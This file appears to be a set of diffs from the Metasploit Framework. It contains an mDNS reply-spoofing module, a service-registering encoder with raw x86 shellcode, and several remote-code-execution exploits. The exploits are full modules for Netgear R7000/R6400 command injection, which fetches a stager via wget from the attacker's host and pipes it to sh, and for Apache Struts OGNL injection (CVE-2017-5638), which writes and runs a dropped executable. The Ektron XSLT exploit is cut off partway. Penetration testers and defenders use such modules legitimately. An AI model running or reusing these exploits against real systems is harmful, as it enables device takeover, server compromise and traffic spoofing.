OptAddress.new('SPOOFIP6', [ false, "IPv6 address with which to spoof AAAA-record queries", ""]),
OptRegexp.new('REGEX', [ true, "Regex applied to the mDNS to determine if spoofed reply is sent", '.*']),
OptInt.new('TTL', [ false, "Time To Live for the spoofed response (in seconds)", 120]),
])
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
self.thread = nil
self.sock = nil
end
def dispatch_request(packet, rhost, src_port)
rhost = ::IPAddr.new(rhost)
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
# addr like "::ffff:192.168.0.1" when the interface we're listening
# on has an IPv6 address. Convert it to just the v4 addr
if rhost.ipv4_mapped?
rhost = rhost.native
end
# Parse the incoming MDNS packet. Quit if an exception was thrown.
dns_pkt = nil
begin
dns_pkt = ::Net::DNS::Packet.parse(packet)
rescue
return
end
spoof4 = ::IPAddr.new(datastore['SPOOFIP4'])
spoof6 = ::IPAddr.new(datastore['SPOOFIP6']) rescue ''
# Turn this packet into an authoritative response.
dns_pkt.header.qr = 1
dns_pkt.header.aa = 1
qm = true
dns_pkt.question.each do |question|
name = question.qName
if datastore['REGEX'] != '.*'
unless name =~ /#{datastore['REGEX']}/i
vprint_status("#{rhost.to_s.ljust 16} mDNS - #{name} did not match REGEX \"#{datastore['REGEX']}\"")
next
end
end
# Check if the query is the "QU" type, which implies that we need to send a unicast response, instead of a multicast response.
if question.qClass.to_i == 32769 # = 0x8001 = Class: IN, with QU type
qm = false
end
# qType is not a Integer, so to compare it with `case` we have to
# convert it
responding_with = nil
case question.qType.to_i
when ::Net::DNS::A
dns_pkt.answer << ::Net::DNS::RR::A.new(
:name => name,
:ttl => datastore['TTL'],
:cls => 0x8001, # Class IN, with flush cache flag
:type => ::Net::DNS::A,
:address => spoof4.to_s
)
responding_with = spoof4.to_s
when ::Net::DNS::AAAA
if spoof6 != ''
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
:name => name,
:ttl => datastore['TTL'],
:cls => 0x8001, # Class IN, with flush cache flag
:type => ::Net::DNS::AAAA,
:address => spoof6.to_s
)
responding_with = spoof6.to_s
end
else
# Skip PTR, SRV, etc. records.
next
end
# If we are responding to this query, and we haven't spammed stdout recently, print a notification.
if not responding_with.nil? and should_print_reply?(name)
print_good("#{rhost.to_s.ljust 16} mDNS - #{name} matches regex, responding with #{responding_with}")
end
end
# Clear the questions from the responses. They aren't observed in legit responses.
dns_pkt.question.clear()
# If we didn't find anything we want to spoof, don't send any
# packets
return if dns_pkt.answer.empty?
begin
udp = ::PacketFu::UDPHeader.new(
:udp_src => 5353,
:udp_dst => src_port,
:body => dns_pkt.data
)
rescue
return
end
udp.udp_recalc
# Set the destination to the requesting host. Otherwise, if this is a "QM" query, we will multicast the response.
dst = rhost
if rhost.ipv4?
if qm
dst = ::IPAddr.new('224.0.0.251')
end
ip_pkt = ::PacketFu::IPPacket.new(
:ip_src => spoof4.hton,
:ip_dst => dst.hton,
:ip_proto => 0x11, # UDP
:body => udp
)
elsif rhost.ipv6?
if qm
dst = ::IPAddr.new('ff02::fb')
end
ip_pkt = ::PacketFu::IPv6Packet.new(
:ipv6_src => spoof6.hton,
:ipv6_dst => dst.hton,
:ip_proto => 0x11, # UDP
:body => udp
)
else
# Should never get here
print_error("IP version is not 4 or 6. Failed to parse?")
return
end
ip_pkt.recalc
capture_sendto(ip_pkt, rhost.to_s, true)
end
def monitor_socket
while true
rds = [self.sock]
wds = []
eds = [self.sock]
r,_,_ = ::IO.select(rds,wds,eds,0.25)
if (r != nil and r[0] == self.sock)
packet, host, port = self.sock.recvfrom(65535)
dispatch_request(packet, host, port)
end
end
end
# Don't spam with success, just throttle to every 10 seconds
# per host
def should_print_reply?(host)
@notified_times ||= {}
now = Time.now.utc
@notified_times[host] ||= now
last_notified = now - @notified_times[host]
if last_notified == 0 or last_notified > 10
@notified_times[host] = now
else
false
end
end
def run
check_pcaprub_loaded()
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
# Avoid receiving extraneous traffic on our send socket
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
# Multicast Address for LLMNR
multicast_addr = ::IPAddr.new("224.0.0.251")
# The bind address here will determine which interface we receive
# multicast packets from. If the address is INADDR_ANY, we get them
# from all interfaces, so try to restrict if we can, but fall back
# if we can't
bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0"
optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton
self.sock = Rex::Socket.create_udp(
# This must be INADDR_ANY to receive multicast packets
'LocalHost' => "0.0.0.0",
'LocalPort' => 5353,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
self.thread = Rex::ThreadFactory.spawn("MDNSServerMonitor", false) {
monitor_socket
}
print_status("mDNS spoofer started. Listening for mDNS requests with REGEX \"#{datastore['REGEX']}\" ...")
add_socket(self.sock)
self.thread.join
end
def cleanup
if self.thread and self.thread.alive?
self.thread.kill
self.thread = nil
end
close_pcap
end
end

View File

@ -32,9 +32,7 @@ class MetasploitModule < Msf::Auxiliary
[
OptString.new('SQL', [ false, 'The SQL to execute.', 'GRANT DBA TO SCOTT']),
OptString.new('USER', [ false, 'The current user. ', 'SCOTT']),
OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql']),
OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']),
OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql'])
], self.class)
end

View File

@ -0,0 +1,128 @@
require 'metasm'
require 'msf/core'
class MetasploitModule < Msf::Encoder
Rank = ManualRanking
def initialize
super(
'Name' => 'Register Service',
'Version' => '$Revision: 14774 $',
'Description' => 'Register service if used with psexec for example',
'Author' => 'agix',
'Arch' => ARCH_X86,
'License' => MSF_LICENSE,
'EncoderType' => Msf::Encoder::Type::Raw
)
end
@@cpu32 = Metasm::Ia32.new
def assemble(src, cpu=@@cpu32)
Metasm::Shellcode.assemble(cpu, src).encode_string
end
def can_preserve_registers?
true
end
def modified_registers
[]
end
def preserves_stack?
true
end
def string_to_pushes(string)
str = string.dup
# Align string to 4 bytes
rem = (str.length) % 4
if rem > 0
str << "\x00" * (4 - rem)
pushes = ''
else
pushes = "h\x00\x00\x00\x00"
end
# string is now 4 bytes aligned with null byte
# push string to stack, starting at the back
while str.length > 0
four = 'h'+str.slice!(-4,4)
pushes << four
end
pushes
end
def encode_block(state, block)
nb_iter = rand(0x2fffffff)+0xfffffff
push_registers = ''
pop_registers = ''
if datastore['SaveRegisters']
datastore['SaveRegisters'].split(" ").each { |reg|
push_registers += assemble("push %s"%reg)
pop_registers = assemble("pop %s"%reg) + pop_registers
}
end
name = ENV['MSF_SERVICENAME']
name ||= Rex::Text.rand_text_alpha(8)
pushed_service_name = string_to_pushes(name)
precode_size = 0xc6
svcmain_code_offset = precode_size + pushed_service_name.length
precode_size = 0xcc
hash_code_offset = precode_size + pushed_service_name.length
precode_size = 0xbf
svcctrlhandler_code_offset = precode_size + pushed_service_name.length
code_service_stopped =
"\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" +
"#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" +
"\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" +
"\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" +
"\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
precode_size = 0x42
shellcode_code_offset = code_service_stopped.length + precode_size
# code_service could be encoded in the future
code_service =
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
"\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" +
"\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
"#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" +
"\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
"\x40\x68\x00\x10\x00\x00\x68#{[block.length].pack('I<')}\x57\x51\x68\xAE\x87" +
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
"#{[shellcode_code_offset].pack('I<')}\x54\x68#{[block.length].pack('I<')}" +
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
"\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}"
return push_registers + code_service + pop_registers + block
end
end

View File

@ -60,7 +60,9 @@ class MetasploitModule < Msf::Exploit::Remote
begin
fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6)
res = send_request_cgi(
'uri' => "/shell?echo+#{fingerprint}",
'method' => 'GET',
'uri' => '/shell',
'query' => "echo+#{fingerprint}",
'headers' => { 'Connection' => 'Keep-Alive' }
)
if res && res.body.include?(fingerprint)
@ -75,7 +77,8 @@ class MetasploitModule < Msf::Exploit::Remote
def execute_command(cmd, opts)
begin
send_request_cgi(
'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-all')}",
'uri' => '/shell',
'query' => Rex::Text.uri_encode(cmd, 'hex-all'),
'headers' => { 'Connection' => 'Keep-Alive' }
)
rescue ::Rex::ConnectionError

View File

@ -0,0 +1,104 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => "Netgear R7000 and R6400 cgi-bin Command Injection",
'Description' => %q{
This module exploits an arbitrary command injection vulnerability in
Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier.
},
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Author' => ['thecarterb', 'Acew0rm'],
'DefaultTarget' => 0,
'Privileged' => true,
'Arch' => ARCH_ARMLE,
'Targets' => [
[ 'Automatic Target', { } ]
],
'References' =>
[
[ 'EDB', '40889'],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
[ 'URL', 'https://www.kb.cert.org/vuls/id/582384'],
[ 'URL', 'http://kb.netgear.com/000036386/CVE-2016-582384'],
[ 'CVE', '2016-6277']
],
'DisclosureDate' => 'Dec 06 2016',
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/armle/mettle_reverse_tcp'
}
))
register_options(
[
Opt::RPORT(80)
], self.class)
deregister_options('URIPATH')
end
def scrape(text, start_trig, end_trig)
text[/#{start_trig}(.*?)#{end_trig}/m, 1]
end
# Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected
def check
res = send_request_cgi({'uri'=>'/'})
if res.nil?
fail_with(Failure::Unreachable, 'Connection timed out.')
end
# Checks for the `WWW-Authenticate` header in the response
if res.headers["WWW-Authenticate"]
data = res.to_s
marker_one = "Basic realm=\"NETGEAR "
marker_two = "\""
model = scrape(data, marker_one, marker_two)
vprint_status("Router is a NETGEAR router (#{model})")
if model == 'R7000' || model == 'R6400'
print_good("Router may be vulnerable (NETGEAR #{model})")
return CheckCode::Detected
else
return CheckCode::Safe
end
else
print_error('Router is not a NETGEAR router')
return CheckCode::Safe
end
end
def exploit
return if check == CheckCode::Safe
@cmdstager = generate_cmdstager(flavor: :wget, 'Path' => '/').join(';')
send_request_cgi(
'method' => 'GET',
'uri' => "/cgi-bin/;wget$IFS-O-$IFS'#{srvhost_addr}:#{srvport}'|sh"
)
end
# Return CmdStager on first request, payload on second
def on_request_uri(cli, request)
if @cmdstager
send_response(cli, @cmdstager)
@cmdstager = nil
else
super
end
end
end

View File

@ -104,7 +104,8 @@ class MetasploitModule < Msf::Exploit::Remote
def check
begin
res = send_request_cgi({
'uri' => '/globe' # TODO: Check this? Why not /UD/act?1
'method' => 'GET',
'uri' => '/globe'
})
rescue ::Rex::ConnectionError
vprint_error("#{peer} - A connection error has occured")

View File

@ -98,7 +98,8 @@ class MetasploitModule < Msf::Exploit::Remote
@cookie = rand_text_alpha_lower(7)
res = send_request_cgi({
'uri' => '/cgi-bin/index.asp?' + Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}"),
'uri' => '/cgi-bin/index.asp',
'query' => Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}"),
'method' => 'POST',
'cookie' => "SESSIONID=#{@cookie}",
'vars_post' => {

View File

@ -0,0 +1,229 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection',
'Description' => %q{
This module exploits a remote code execution vunlerability in Apache Struts
version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
via http Content-Type header.
Native payloads will be converted to executables and dropped in the
server's temp dir. If this fails, try a cmd/* payload, which won't
have to write to the disk.
},
'Author' => [
'Nike.Zheng', # PoC
'Nixawk', # Metasploit module
'Chorder', # Metasploit module
'egypt', # combining the above
'Jeffrey Martin', # Java fu
],
'References' => [
['CVE', '2017-5638'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045']
],
'Privileged' => true,
'Targets' => [
[
'Universal', {
'Platform' => %w{ unix windows linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
],
'DisclosureDate' => 'Mar 07 2017',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]),
]
)
register_advanced_options(
[
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])
]
)
@data_header = "X-#{rand_text_alpha(4)}"
end
def check
var_a = rand_text_alpha_lower(4)
ognl = ""
ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|
begin
resp = send_struts_request(ognl)
rescue Msf::Exploit::Failed
return Exploit::CheckCode::Unknown
end
if resp && resp.code == 200 && resp.headers[var_a]
vprint_good("Victim operating system: #{resp.headers[var_a]}")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
case payload.arch.first
#when ARCH_JAVA
# datastore['LHOST'] = nil
# resp = send_payload(payload.encoded_jar)
when ARCH_CMD
resp = execute_command(payload.encoded)
else
resp = send_payload(generate_payload_exe)
end
require'pp'
pp resp.headers if resp
end
def send_struts_request(ognl, extra_header: '')
uri = normalize_uri(datastore["TARGETURI"])
content_type = "%{(#_='multipart/form-data')."
content_type << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
content_type << "(#_memberAccess?"
content_type << "(#_memberAccess=#dm):"
content_type << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
content_type << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
content_type << "(#ognlUtil.getExcludedPackageNames().clear())."
content_type << "(#ognlUtil.getExcludedClasses().clear())."
content_type << "(#context.setMemberAccess(#dm))))."
content_type << ognl
content_type << "}"
headers = { 'Content-Type' => content_type }
if extra_header
headers[@data_header] = extra_header
end
#puts content_type.gsub(").", ").\n")
#puts
resp = send_request_cgi(
'uri' => uri,
'method' => datastore['HTTPMethod'],
'headers' => headers
)
if resp && resp.code == 404
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
end
resp
end
def execute_command(cmd)
ognl = ''
ognl << %Q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|
# You can add headers to the server's response for debugging with this:
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
#ognl << %q|(#r.addHeader('decoded',#cmd)).|
ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|
ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|
ognl << %q|(#p.redirectErrorStream(true)).|
ognl << %q|(#process=#p.start())|
send_struts_request(ognl, extra_header: cmd)
end
def send_payload(exe)
ognl = ""
ognl << %Q|(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|
ognl << %Q|(#f=@java.io.File@createTempFile('#{rand_text_alpha(4)}','.exe')).|
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
#ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).|
ognl << %q|(#f.setExecutable(true)).|
ognl << %q|(#f.deleteOnExit()).|
ognl << %q|(#fos=new java.io.FileOutputStream(#f)).|
# Using stuff from the sun.* package here means it likely won't work on
# non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to
# work and I don't see a better way of getting binary data onto the
# system. =/
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).|
ognl << %q|(#fos.write(#d)).|
ognl << %q|(#fos.close()).|
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
ognl << %q|(#p.start()).|
ognl << %q|(#f.delete())|
send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n"))
end
end
=begin
Doesn't work:
ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).|
ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).|
ognl << %q|(#m=@ognl.OgnlRuntime@getMethods(#c,'main',true).get(0)).|
ognl << %q|(#r.addHeader('meth',#m.toGenericString())).|
ognl << %q|(#m.invoke(null,null)).|
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4fee2899
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).| # parse failed
#ognl << %q|(#m=#c.getMethod('run',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@50af0cd6
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@2231d3a9
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@5f78809f
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@56c6add5
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).| # parse failed
#ognl << %q|(#m=#c.getMethod('main',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@1722884
=end

View File

@ -0,0 +1,213 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Ektron 8.5, 8.7, 9.0 XSLT Transform Remote Code Execution',
'Description' => %q{ Ektron 8.5, 8.7 <= sp1, 9.0 < sp1 have
vulnerabilities in various operations within the ServerControlWS.asmx
web services. These vulnerabilities allow for RCE without authentication and
execute in the context of IIS on the remote system.
},
'Author' => [
'catatonicprime'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2015-0923' ],
[ 'US-CERT-VU', '377644' ],
[ 'URL', 'http://www.websecuritywatch.com/xxe-arbitrary-code-execution-in-ektron-cms/' ]
],
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Privileged' => true,
'Targets' =>
[
['Windows 2008 R2 / Ektron CMS400 8.5', { 'Arch' => [ ARCH_X64, ARCH_X86 ] }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 05 2015'
))
register_options(
[
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60]),
OptString.new('TARGETURI', [true, 'The URI path of the Ektron CMS', '/cms400min/']),
OptEnum.new('TARGETOP',
[
true,
'The vulnerable web service operation to exploit',
'ContentBlockEx',
[
'ContentBlockEx',
'GetBookmarkString',
'GetContentFlaggingString',
'GetContentRatingString',
'GetMessagingString'
]
])
], self.class )
end
def vulnerable_param
return 'Xslt' if datastore['TARGETOP'] == 'ContentBlockEx'
'xslt'
end
def required_params
return '' if datastore['TARGETOP'] == 'ContentBlockEx'
'<showmode/>'
end
def target_operation
datastore['TARGETOP']
end
def prologue
<<-XSLT
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<#{target_operation} xmlns="http://www.ektron.com/CMS400/Webservice">
#{required_params}
<#{vulnerable_param}>
<![CDATA[
<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="user">
XSLT
end
def epilogue
<<-XSLT
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml()"/>
</xsl:template>
</xsl:transform>
]]>
</#{vulnerable_param}>
</#{target_operation}>
</soap:Body>
</soap:Envelope>
XSLT
end
def check
fingerprint = rand_text_alpha(5 + rand(5))
xslt_data = <<-XSLT
#{prologue}
public string xml() {
return "#{fingerprint}";
}
#{epilogue}
XSLT
res = send_request_cgi(
{
'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx",
'version' => '1.1',
'method' => 'POST',
'ctype' => "text/xml; charset=UTF-8",
'headers' => {
"Referer" => build_referer
},
'data' => xslt_data
})
if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def uri_path
uri_path = target_uri.path
uri_path << "/" if uri_path[-1, 1] != "/"
uri_path
end
def build_referer
if datastore['SSL']
schema = "https://"
else
schema = "http://"
end
referer = schema
referer << rhost
referer << ":#{rport}"
referer << uri_path
referer
end
def exploit
print_status("Generating the EXE Payload and the XSLT...")
fingerprint = rand_text_alpha(5 + rand(5))
xslt_data = <<-XSLT
#{prologue}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[System.Runtime.InteropServices.DllImport(&quot;kernel32&quot;)]
